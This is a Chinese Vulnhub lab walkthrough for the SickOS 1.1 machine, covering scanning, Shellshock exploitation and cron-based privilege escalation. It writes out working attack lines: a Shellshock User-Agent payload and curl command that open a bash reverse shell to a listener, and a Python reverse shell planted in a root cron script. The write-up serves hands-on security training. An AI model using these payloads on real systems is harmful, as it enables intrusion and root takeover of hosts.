摘要
Vulnhub靶机实操笔记-SickOS1.1-解法二
涉及知识内容:Nikto扫描、Shellshock利用、定时任务内网提权
一、Namp扫描
1、主机存活判断
代码语言:javascript复制sudo nmap -sn 192.168.32.0/24
2、快速扫描
以不低于1w的速度快速扫描端口
代码语言:javascript复制sudo nmap --min-rate 10000 -p- 192.168.32.137
使用TCP和UDP的形式对扫出的端口进行协议的查看
3、TCP扫描
代码语言:javascript复制sudo nmap -sT -sV -O -p22,3128,8080 192.168.32.137
4、UDP扫描
代码语言:javascript复制sudo nmap -sU -p22,3128,8080 192.168.32.137
5、Namp的POC扫描
代码语言:javascript复制sudo nmap --script=vuln -p22,3128,8080 192.168.32.137
二、Nikto扫描
Nikto是网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,可以用来端口和目录的扫描
这边提示是存在一个CVE-2014-6271漏洞,shellshock尝试去利用一下
代码语言:javascript复制 sudo nikto -h 192.168.32.137 -useproxy http://192.168.32.137:3128
-useproxy #使用HTTP代理
三、Shellshock利用
1、CVE-2014-6271漏洞介绍
百度了一下CVE-2014-6271漏洞的利用方式,EXP如下
CVE-2014-6271(即“破壳”漏洞)广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中, 只要目标服务器开放着与Bash相交互的应用与服务,就有可能成功触发漏洞, 获取目标系统当前Bash运行用户相同权限的shell接口。
第一步,修改数据包,命令执行:
代码语言:javascript复制 GET /victim.cgi HTTP/1.1
Host: 192.168.32.131:1234
User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.1.1/1234 0>&1;
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
第二步,监听端口,shell反弹成功:
2、NC监听端口
代码语言:javascript复制sudo nc -lvvp 1234
3、反弹shell
代码语言:javascript复制 sudo curl -v --proxy http://192.168.32.137:3128 http://192.168.32.137/cgi-bin/status -H "User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.32.131/1234 0>&1;"
-v #输出详情
--proxy #使用代理
###注意sh需要写绝对路径
成功获得shell
四、内网提权
1、查已安装的软件&python转稳定shell
命令会列出系统中所有已安装的软件信息,显示当前环境安装了python工具,利用python转稳定交互shell
代码语言:javascript复制 dpkg -l #查已安装的软件
python -c "import pty;pty.spawn('/bin/bash')"
2、定时任务提权
当cat connect.py时 看到 "I Try to connect things very frequently" “很规律的去连接一些事情,你可以尝试我的服务” ,也就是说明应该有一个定时任务
代码语言:javascript复制 查看定时任务
cat etc/crontab #常用,没有的话看看第二个命令
cat etc/cron.d #cron.d 是/etc下的目录,重点进去是否有计划任务文件
第一个命令 ,可以看到 并没有什么定时任务
第二个命令,cron.d的目录下automate文件里有一个叫connect.py的定时任务,可以看到
每分钟以root权限用python去执行 /var/www/connect.py脚本
查看connect.py权限发现有写的权限
代码语言:javascript复制ls -lai /var/www/connect.py
Google搜了一个python反弹脚本
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#python
代码语言:javascript复制 python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
因为在python文件中修改的,所有插入下面的具体内容
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.131",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
使用nc进行端口监听
代码语言:javascript复制sudo nc -lvvp 4242
cd到/var/www对connect.py文件进行修改,shell比较奇怪,输入o新建一行,如何将shellcode输入到python中
成功获得root权限
五、靶场下载链接
https://download.vulnhub.com/sickos/sick0s1.1.7z